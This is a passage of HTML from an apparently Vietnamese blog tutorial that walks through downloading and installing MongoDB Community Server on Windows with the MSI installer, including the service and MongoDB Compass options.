1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tải bản cài đặt</h3> <p>Để cài đặt MongoDB trên Windows, đầu tiên bạn phải tải phần cài đặt của nó trên <a href="https://www.mongodb.com/download-center/community">trang chủ</a> với 2 phiên bản là: <strong>MongoDB Community Server</strong> và <strong>MongoDB Enterprise Server</strong>.</p> <p>Trong đó, phiên bản <strong>MongoDB Community Server</strong> là miễn phí (phù hợp cho developer), nên mình sẽ chọn bản này.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 49.696969696969695%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABfElEQVQoz12PTW7VMBCAcwOWsOiGHUdAXIJd1Uqw4QBwDa6CQEW0lEL3qH+vEqqKAClV2ipNRfuencSOZzxjj1Hea55SPn0LWxprPmchhBQlRZEQrbHgwLQGHRASOnSdI/SLgRQlhCAiaSDjwNob5c0M218X+SQ/PSpOJ8XPg/xkPz/5UfzOry9m8wHtLc8fx8EsxgiMjpwj8MIYvWWwDF1AGwCFfCRH0BE4xj4zJRnIAICI7jpE5qY7UyJP487xuc/WWitdA4K1lojkPk3bNqbtnDXWcgxB4lIOIfPeW9PT1DUijquixBSSOE7IApzur+03395Op0ovq8YkSUfTP5vl3s7V4Zerw93qeLc63i4PPpf7W+Xet2qSdV0H84X/sfjey+9vH7x7vrKxtrKx/vTr62c7bx5/fPHow+rD96tPPr3KmBkRYcTyiohVfXM2KwtVFao6m5bnurps/i4sm5vMgVMDM6WU1kot7KlVbXRrG2Mb09YtOYyew+A/4Wgt0a3Z9eAAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Tải MongoDB Community Server bản MSI" title="Tải MongoDB Community Server bản MSI" src="/static/ea51f593bfc8290fe099645cb5c3210b/7c811/download-1.png" srcset="/static/ea51f593bfc8290fe099645cb5c3210b/103f2/download-1.png 165w, /static/ea51f593bfc8290fe099645cb5c3210b/748ba/download-1.png 330w, /static/ea51f593bfc8290fe099645cb5c3210b/7c811/download-1.png 660w, /static/ea51f593bfc8290fe099645cb5c3210b/9490d/download-1.png 687w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Có một số tùy chọn dành cho bạn là:</p> <ul> <li><strong>Version (phiên bản)</strong>: hiện tại đã có phiên bản <strong>4.1.4 - development release</strong>. Tuy nhiên mình sẽ chỉ chọn phiên bản <strong>4.0.3 - current release</strong>, để đảm bảo tính ổn định và ít lỗi hơn.</li> <li><strong>OS (hệ điều hành)</strong>: bài viết này hướng dẫn cài đặt MongDB trên Windows nên mình sẽ chọn là <strong>Windows 64-bit x64</strong>.</li> <li><strong>Package</strong>: có 2 loại là <strong>zip</strong> và <strong>msi</strong>. Mình sẽ chọn bản <strong>msi</strong>, vì cài đặt sẽ dễ dàng hơn - hỗ trợ giao diện (nếu chọn <strong>zip</strong> thì bạn phải cài đặt thủ công nhiều hơn).</li> </ul> <p>Sau khi lựa chọn xong phiên bản cài đặt, bạn chỉ cần nhấn vào <strong>Download</strong> thì tệp tin <strong>mongodb-win32-x86_64-2008plus-ssl-4.0.3-signed.msi</strong> sẽ được tải về để có thể cài đặt.</p> <h3 id="cài-đặt-mongodb-trên-windows" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-mongodb-tr%C3%AAn-windows" aria-label="cài đặt mongodb trên windows permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt MongoDB trên Windows</h3> <p>Đầu tiên bạn nhấn vào file vừa tải. Rồi một cửa sổ hiện lên, bạn chỉ cần nhấn vào <strong>Run</strong> để bắt đầu cài đặt MongoDB trên Windows.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 414px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 75.15151515151516%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC10lEQVQozzXQS2/bRhQFYP7m7rvrsksbBuxF2tRAggKBgiRSW8dJbIuiRVKcIYccic+Z4UsSKYrim7KcRSA5/RYXZ3NwLy43Gg0/fRr9+89/t7c37wbv3755++qPv/58/fry6urs7Oz8/Pzi4uLq8vL6+nowGIyGw5u7+89XZ19+/eXr779xPD/2CPEIYYzatoMxRroOIZRlWRRF6X+KoiCE5vO5ZVkWxjbWdQg4VVUd2zKQpqoqhNCybB0hTUUYm22/fzo5HA77/b4/6bqu6/v94RAvl5yh65ttgb1wm22iKGLMT9dL5nlx4C/DIAgC3/eJR+I4jqL4ZYZBuF6toijiXNt6f/P14u8PbVWqqmYYBouzme6AOYHYtR2HEmIuTEopIZRS6tiObdlBEBzLkiQRRphPsiwzDOw6NrDiey0Y67FghFG83qzXaZI0TfPz7r7r+36/31NKOUEQnp+fy7JsmiaOIowXAfMQnC0MXZ3JEACgaeJsRoKA+gE5/pURz0uSlBDCTafTtm3zPC+KIk3TOF4maRqe+EEYEhJpKNaNEKpU1RhlURQFfrDJsmNZEISu63a7XVEUZVlWVVWWZV3XVVU2T0+5acX3Y4Of+Kq24icAmbyGBRUjtrQd91huu+5l8+7kZ8jzXVVlrht+u1t8u/P4STwRDIuIhjnV5la0clyXe5xOmR8qygzP5xjPMcaLhYkNrOuGaZplXZd13bZtVddlczyobZqmrru2cR2Xm/B8039PttV6tUrTzWaTJckmSdIkSbdZlm+3eZ5vT17yi11R2LbNTaZyiD4yeWC7TBAeZ7JsIHVuIBXMIAAQqkABAABJksWpqCgAIT2MoqIsHcfhJIBW6EOsfTTdYDIe86J2Kzm86t1KtobtZRxTRn3fd1yPEsoocxzX87yu633f50bDoYZtqC9m8pEoKRMJTkT48KgoAEIIEEK6rqMT9QQegYeHhx+/av0gloh1mQAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Nhấn Run để bắt đầu" title="Nhấn Run để bắt đầu" src="/static/0313ec49f6592ce170fed5d4ce8537cc/c6ea4/install-1-1.png" srcset="/static/0313ec49f6592ce170fed5d4ce8537cc/103f2/install-1-1.png 165w, /static/0313ec49f6592ce170fed5d4ce8537cc/748ba/install-1-1.png 330w, /static/0313ec49f6592ce170fed5d4ce8537cc/c6ea4/install-1-1.png 414w" sizes="(max-width: 414px) 100vw, 414px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Tiếp theo, bạn nhấn vào <strong>Next</strong> để tiếp tục.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 509px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAADU0lEQVQoz42PbUwTdxzHL0u2uZGJiZlblmWLJmo0xKrVvmAzTjtYhAINTXkQaEfagstAl4G+NTEUDTHxhS7xCeWhEhNcomDEgg/gYhTwalvaHr3Ws72Hck9Uob27Fuj9lzt1MdubffPJP78Xv09+/y/UP/in2z06MjIyNnbv1tBQX2+v69rAwMC1nt6+fpfrak/PpUuXu7uvuFyuwcEbw7dvj9x1u93u8XOnx884oeM2Y1uFrt303THz9+2VhU36Lc4WM0kEKDJIEcHYSy+Bz5BEYC6B8GyEZ6McE2FplKPDFD4DtZdpLQWrrDvyG7Z+at2RX73pg1M2fZJDsOgUiXvn2RCFeynCF8emo+gkz4YWFzAAOAD4TGYOOmYqbCjIs+39prm10LLr8+otq046fqIp//TU6Ix34kVkCp19gkWnA97x8OzTcOjxC3Qygk6mFrCMREFtlYU1mz4+crL08MNfaxwFVRs+7LD9CGQOgHkg8wC8YR6ApPpyCjKrXJZIqKVIc3DfFy3Djb8MNpj+KK7UftZh0S+8jjJ0iGcQnkU4BkmQAQr30XMBXpn9RNyb5MPpVBxq1WuqrRsddywOV7Wxu6S84uvO+v0U6fU9H5/xPQr4J57DD2KYJ4bBFOFPEN4Y5iFwH50IiGkcatVvMzdvtgzV/txvqrhYUla7vqPuh6UsJQm4mIqJ6biYjudyjPp57g2yUooXBRw6UrS9qurb2lvm+qvGsgsHyg1fOev3AcAqxZRuCvIKI6/Q/5BbpoHMKpd/K9Vadq+pOV9sum40dO41a/I6G/VyjlF4tw1yzPvIKwwAqvx7xW77ttWN5RsOna2sM6yv2/xRp73o7d5/tH/LR426Zt3aQ7ovj9fsadKta9DknbIX/1+5rVRj13zi0Obbtfm2natrN0JO6x4gMwo5+u2glOfU/hyQGTlHK7KAQ2farKcdJV1Nhi5HaVeT4UT9/j7n4YxEK4hzGYnOSnRGSEiLZCZFSYtkVqKXsuzKMv86GYdexmLZpeW0IAqipCIKgpBSs5hKvUq+4pJJNoA8HR796+ad4NjEPEmFkNnwbJiiKAiGYQzDwmpQFI2qiahBURRBkGAICT3zPBl98Nh9H374KOj3wzDs8Xh8Pt/fD2a78butHtAAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Nhấn Next để tiếp tục" title="Nhấn Next để tiếp tục" src="/static/d928ee971761c88c97a278fd65c54bef/98235/install-2-1.png" srcset="/static/d928ee971761c88c97a278fd65c54bef/103f2/install-2-1.png 165w, /static/d928ee971761c88c97a278fd65c54bef/748ba/install-2-1.png 330w, /static/d928ee971761c88c97a278fd65c54bef/98235/install-2-1.png 509w" sizes="(max-width: 509px) 100vw, 509px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Sau đó, bạn nhấn vào <strong>check box</strong> để đồng ý các điều khoản sử dụng, rồi lại nhấn <strong>Next</strong> để tiếp tục.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 509px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAADCUlEQVQoz1WSy3LcRBSG9VBseA1egHdgyZZdFmyzwOAYxyQEXEWVTdnGnmScmHjkGY0uo1tLLXW3pJa6e3SXPEPsMENpKkXBV//inDp1zv8vjvT81a+Xl1d/XFyMRqOTk5Pnh4cvXrx89fPLg4MfDw+P9p8929vb+2F//+jo6Pj4+PT097Oz86vRaHbw3e3TbyVNfafNr+XJla7dKLM372/Ox+OTyeSSYD2OTRRqBOlhoEbESBObUaco0WJ29eTrL3/5/olU5OGS2z6YoGCK4BR6sg8mOFSW3K4Kr8zdpg6223K7Lbbb/O+PfLt9MN4ef/6Z9M1XX0gpDR4fyvterFfL1b1Y9Tvdi7bJ+o73He9adt/zT+rYh7/KlFjnPz29G59KGEdxlAQw8DwfI+wBHyGMMYFBEATIsmxMoqKo/lWel3Xbffi46fpecl03z5csS1Oadl2b7xBLkefLLMsYY1VVbbb/Y7PZEIwppRIAICYkiiKCcZLQOCJpSqEPhRCMsYxlQRAsDANCP4ABwdgyF2GIOOdZlkkuAND3dVW9k+80dW7oqq4vgOtOp1Nd103TkCcDGGGWZUIISqngy/V6zRgbYrdN07UNY6wsirIoqqru+35XVE3TLAUXQjw+Pv43edd1wzIAgKAQE4JRmGaM4ND3PIwxRiiOk5QmLGMpTZKERgRBGLRtu9lsuq7jnA/OIQpl+U5RFNsyLdNUVXU2U0zTdF1HlieaqpmmaRjGn+/eapq+MIwgGE4My8B1Y+gD1/UhTCmNSOT7PhciiaKU0jiOwxAFEEZRhBCKk6Ftu75t2yE21HX826n6Zmw6DnBdzwOO7ViWZZrmYrFIElrVVZ7nddM0TV3vVFXVp9ieaeY3t8Rx4p1tPJDQnSfGmHPetm1VlKUQpecXnJdFUdfDqTRNJYTxQ9+vBtbr9Xq1WnHObcdN07Sua4KJ5bqRPFMvxvLZyH99U3ie7XkAgOFJ1Pk8RAgA4O2AENq2rSiKYRiO42iapszni/e309H17dVYfX09zNQBXdf/AUayOn7rcodPAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Chấp nhận điều khoản sử dụng rồi nhấn Next" title="Chấp nhận điều khoản sử dụng rồi nhấn Next" src="/static/25ac6b9b4c049e3b80ee535329a8bb20/98235/install-3-1.png" srcset="/static/25ac6b9b4c049e3b80ee535329a8bb20/103f2/install-3-1.png 165w, /static/25ac6b9b4c049e3b80ee535329a8bb20/748ba/install-3-1.png 330w, /static/25ac6b9b4c049e3b80ee535329a8bb20/98235/install-3-1.png 509w" sizes="(max-width: 509px) 100vw, 509px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="tùy-chỉnh-cài-đặt" style="position:relative;"><a href="#t%C3%B9y-ch%E1%BB%89nh-c%C3%A0i-%C4%91%E1%BA%B7t" aria-label="tùy chỉnh cài đặt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tùy chỉnh cài đặt</h3> <p>Bước kế tiếp, MongoDB sẽ cho phép bạn lựa chọn 2 cách cài đặt: <strong>Complete</strong> (đầy đủ) và <strong>Custom</strong> (tùy chỉnh).</p> <p>Đối với việc tùy chỉnh, bạn có thể lựa chọn vị trí để cài đặt MongoDB (<strong>ví dụ ổ C đầy rồi thì bạn có thể cài sang ổ D, E</strong>) - rồi lựa chọn những thành phần cài đặt và không cài đặt.</p> <p>Mình không có yêu cầu gì đặc biệt thì cứ chọn cài đầy đủ, bằng cách nhấn vào <strong>Complete</strong>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 509px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAACn0lEQVQoz5XQzW7bRhAAYD5UT32MvkDfIceee8qhx+YQFHBdRRIKCLkwSVs7TpPatSUtJUs0Je6KWpIWySUlkvtPxkUKBpRio0DbQz4sFoNZDGZmje7g+dnZ2enJ67M3b0zT7HW7vV6/3+93Os96vX6n0zk6Ojo+Pu52e4PBwDTNV69+OTl9DX58evnkO8Oxr+zZ+XTy1p6fz/dBSmBGXJIsDyfeOPHGSaJFEi9IvChK3x6fPv7m659/eGzstiuaL1fu5dobrVfDwAdl7ha7JSuRYF6Zux8+ZE1TNE3eNPnfbfzX/N3gyy+Mbx99ZZB4fXdXKEFqQd6rVLNEsJjSiNENYxGjkRJEy1TLVMlUCXL3viCh8/LZ96O3phFuIpHt/NHUHc/s8yG07GR6o4tSKC2lkkoLITmXnAshpBCSlkxI2TSNUMqAnldtt+7vF3+Yv5o/9d+9+G368iT1/Zik0SaK7yVxEu0VRckopWVJksRACCmtBefuYmGNxld/Xg6HYwDA1eUQQhQGoe/7QRCEQYDXGGN/l+8YY5zzLMsMz/OUUmmWEULWGG+3O8pYVVVa67q6p3VVVXVd11UlpeR7aZa1nbXWaZratn1xcTGfzxFCbacw9DH2/QBjHIa3QRDiln97e5skiRAiTVMDQqiU4pwjCOez+fV0OhqNLGABazIcDsEYTIBlWRMAwGrlbTZRFG0ISdtiQtpirTWltP3Ne0qp9qfvPaSllEKIT2MfOh+KP4t42FkpRSll/+PfT4cx287L5ZJznud58V8OlWVZFkVxuA9JznmSJAbGuK7rfy78gHPm+6HjOISQsqTZdiukzPN8uVhAiOI4NizLwhjDPYSQt7fagxBeX1+Px8C5uUEIua4LEXIcBwAwmUxns9lHxRNJAlUnnpMAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Nhấn vào Complete để cài đặt đầy đủ theo mặc định" title="Nhấn vào Complete để cài đặt đầy đủ theo mặc định" src="/static/ca8d545c055f8fabeb70e0b89116e758/98235/install-4-1.png" srcset="/static/ca8d545c055f8fabeb70e0b89116e758/103f2/install-4-1.png 165w, /static/ca8d545c055f8fabeb70e0b89116e758/748ba/install-4-1.png 330w, /static/ca8d545c055f8fabeb70e0b89116e758/98235/install-4-1.png 509w" sizes="(max-width: 509px) 100vw, 509px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="cài-đặt-mongodb-trên-windows-như-service" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-mongodb-tr%C3%AAn-windows-nh%C6%B0-service" aria-label="cài đặt mongodb trên windows như service permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt MongoDB trên Windows như service</h3> <p>Tiếp theo là tùy chọn cấu hình MongoDB như là một <strong>service</strong>. Mặc định, check box <strong>Install MongoDB as a Service</strong> được chọn. Nghĩa là mỗi khi bạn khởi động máy, MongoDB sẽ chạy ngầm giống như là một service.</p> <p>Sau đó, lại có 2 tùy chọn khác là: <strong>Run service as Network Service user</strong> và <strong>Run service as a local or domain user</strong>.</p> <p>Mình sẽ chọn <strong>Run service as Network Service user</strong> để có thể kết nối với MongoDB trong toàn mạng. Ngược lại, nếu bạn chọn <strong>Run service as a local or domain user</strong> thì bạn phải thiết lập <strong>domain</strong>, <strong>account name</strong> và <strong>account password</strong> để kết nối (khá phức tạp).</p> <p>Ngoài ra, bạn có thể thay đổi tên service (<strong>service name</strong>), vị trí lưu dữ liệu (<strong>data directory</strong>) và vị trí lưu log (<strong>log directory</strong>).</p> <p>Lựa chọn xong thì bạn nhấn vào <strong>Next</strong> để tiếp tục.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 509px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAACZUlEQVQoz22SW0/bQBCF8//f+1RVahEJN1HRIBWKSkSfkkDsOLbjy3q9znq9Nzu7jp24Em9VbGih8D2tRjo758xMb3D+9fbn7c3Nze1odHk57B8e9gdHg8Hgy8HBYb8/OOofHx+fnpyenJ1dfLsYDoffr66ur3+MPn8cffrQ+3V3N5lO56Y5nUzHk/F4PPaDAAAQBmEUgRCAsMXzvKCtAwAghDGEvuf1AACO4xqGOZ1OJ5PJbGakOEUxSpIkhnGSJGmaZiTbvWC73TZNo5TqJcmqyAtKqRBSypwxJoSQuczznHMu2qqUUr1Gay2E2He2Xc80TXNu2QvbsiwQRZxzSmn1gs1rqqoqiqIXQ4gwmZuW6zi2bS+shWUtrPYjpfRb2WazKcuyqqp95zAMq6qCEEYtKU4xxgBECCFKGW8py/J9cRRFTbNjjJKMkCzbtH4QQmma8mf+E3e2pZQ9CGHTNIwyQgjGeD+0vIjjeLXCooVzrpR6XwwA0FoTsm+7Xq+llIzzPM+VUkWL1vqt7bqun6ad5zlCKElWZVmSlCyXvhDi70q7mdV11ar2aK3/ZZYyTxDCGBfrNec8juMkWUURhBCGIegOBoBISKm17vb8JIYQMsZ9z4cQaa0zQlzX9XzfcVzHdmzb8f0gDELP87shd0aexEEQKKUyQhjnbWaRZRljjFKaZVmaEimlEIIxVm/rLnCboqaU7m0/Pj42Ldvtdrfbde/fexqtte/5MYozSl1niTFeKwUh9H0/SVa9h4cHhFAQBGEYAgC6UwHPuK57f38/n89t2zZMc7FYLJdLwzRmM8MwjD8/1kshYLHdigAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Cài đặt MongoDB như service" title="Cài đặt MongoDB như service" src="/static/d77321b77265e259f93b0d5d8ceaca8b/98235/install-5-1.png" srcset="/static/d77321b77265e259f93b0d5d8ceaca8b/103f2/install-5-1.png 165w, /static/d77321b77265e259f93b0d5d8ceaca8b/748ba/install-5-1.png 330w, /static/d77321b77265e259f93b0d5d8ceaca8b/98235/install-5-1.png 509w" sizes="(max-width: 509px) 100vw, 509px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="tùy-chỉnh-cài-đặt-mongodb-compass" style="position:relative;"><a href="#t%C3%B9y-ch%E1%BB%89nh-c%C3%A0i-%C4%91%E1%BA%B7t-mongodb-compass" aria-label="tùy chỉnh cài đặt mongodb compass permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tùy chỉnh cài đặt MongoDB Compass</h3> <p>Tiếp theo, bạn sẽ được hỏi có muốn cài đặt <strong><a href="https://www.mongodb.com/products/compass">MongoDB Compass</a></strong> hay không?</p> <p>Đây là công cụ kiểu GUI giúp việc quản lý MongoDB dễ dàng hơn nên <strong>có thể</strong> mình sẽ cài. Tuy nhiên, nếu cài đặt MongoDB ngay bây giờ thì nó sẽ tự động download MongoDB Compass về để cài đặt. <strong>Việc này khá mất thời gian</strong>, nên bạn có thể bỏ check lúc này.</p> <p><em>Ngoài ra, nếu bạn chỉ muốn sử dụng Command-line hoặc đơn giản là bạn muốn sử dụng công cụ quản lý khác (như <a href="https://robomongo.org/">Robo 3T</a>) thì cũng có thể bỏ chọn.</em></p> <p>Sau đó, bạn nhấn <strong>Next</strong> để tiếp tục (bạn có thể cài đặt MongoDB compass sau nếu muốn nhé).</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 509px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC3klEQVQoz32SyW7bVhSG+VLd9DHyAH2JrrrvouiiOwcIhFqAgRSwpaZ1EcV1wisOIi2bkTiJ80xJnKdLUmRjo4AKSSm8CNoPBxdn8+O75+Agw18uAYqiKAAATCaT0Xg8HA4Hg8HZ2dmrI4PB4Pz8/OLiYjQaX1//cX09mdzcPgxf3b38CRE4eiVQC2a6XOBz+vYjA+Z37zWN2azFMFDCQIlDdbNeBVs5S4woULLcER4+/PDdN6Off0TS1MxTVVdo12JMfb71WVOfB1uhyvWqMBpol5nWQKsqjDxR/n6K9vsnkRx//RXy/bcvkCi0+y7NEjfPvCLzitwvMi9L3DR2ktjOUi9NnGO5cWg1MHh6LENffvf6JUO8RYIglCQNoFOSpO/nDwRBARQDACNJCpsSAGAzkqao+bHHRVEqS9i07X6/b3cdoulGkeeO49A0TVM0SRCyrIRBYFnWeu17rmeapud6tmXZjuO6Tp7nEFZVWUZRhOiGmWUpCgDH8+JqtZIkgsBFUez7vq7r5l/atj018BCt6rpOkgSRJXmK4wHD9KrWSXIP4a7rZiQpimLXddUR+AWfwzc3N7pl9aqWz6iSuivTtN7tyqLAMAz+B1VVNU0TxzFydXlZNU0liBDD4ZKDglBaVvfp0/187vv+brf70vwcfjeZGLbdq2rxAZQYXgCsvn8oixLH8f8x13V9CIsCB6ZYYttdFPVR9FcQ9pvtaea+7z9rq+q5IKyOMx/CtqX5/pqi6W0Y8qvVkuenBMFx3GlbJw9sW9h3sOsOb10/f1tasY+PT6OrK2w6VRVF17QoCJqmyfO8KIrqcBNN6XqQ5RpBrHihiOOTOQxDxDT0zWYzm1GKqhqGoWm663pdt2vbtq6h57qyYcZ/3roAk8lZ8h7NOV61bV3TgyBAFoulpmk8zy+Xy8ViwbKcoiimaRqGoes6z3EfWVZCgTB+s/z1jfTb7zLDLDiOZVlBEP4BGFExnjXGsx0AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Bạn có thể cài đặt MongoDB compass sau nếu muốn nhé" title="Bạn có thể cài đặt MongoDB compass sau nếu muốn nhé" src="/static/9636522eb7750972937464fc3954d3a7/98235/install-6-2.png" srcset="/static/9636522eb7750972937464fc3954d3a7/103f2/install-6-2.png 165w, /static/9636522eb7750972937464fc3954d3a7/748ba/install-6-2.png 330w, /static/9636522eb7750972937464fc3954d3a7/98235/install-6-2.png 509w" sizes="(max-width: 509px) 100vw, 509px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Rồi bạn nhấn <strong>Install</strong> để bắt đầu cài đặt.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 509px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAACTklEQVQoz52Qy27TQBiF/VJseAxegGdgzZJdN+xgQS9KaJWotCktjVtEKxXUkjSxnXES2/Hd8X1sx+NJbMdtF0FOilQESNBPv36NjubonBlia6dGkmTzuHl6erq/v7+1uVmpvq9Wq+vrG7VavVarVSqV7e3ter1+cHBw3GyenHw+Oz+nKu9ab18TokA5NmeZQ9fmx0ZfVRhNBboKDJ1VZFocdWSZ0tSergFN6bk2P4mNQffL2svnHzbWCM8deTawzZ5rA13t2ibQ1I5rgQhyutqRxe/WmHYt4Dl906Dz3Fws7vrf9p4+IV69eEY4jnJ3G8/zoJiHxTwqdx7eFNE8C26KqJyVOC/PeQZvb2J3zJE7bzoXx4RpWnGcQBj6MIAwXI3vwTCc+H4QwMj3AwgDz/PLC6USTmfpYrGYpRmhaZphjC8vryiKbrVaAACqS1232yxgKYqiKVqSJMuyFFnWNN0wdMu2kyRBcex5HiHLMsbYdb0gDP0ya0lYriiKIIQoRtMl+CcIIYwxhJBQFCXLspU6neIHd1bKNPkT92ZJktI0RQgl/wxCZRff9wlRFB9hxhiX5kck/09thH6ZJEFL833tLMv+akZJkqY4z3CWlTvPkuVv379ZEASMcRRFk98oczCOJCVgwGTAhWAQ9oeTIFglu65L6L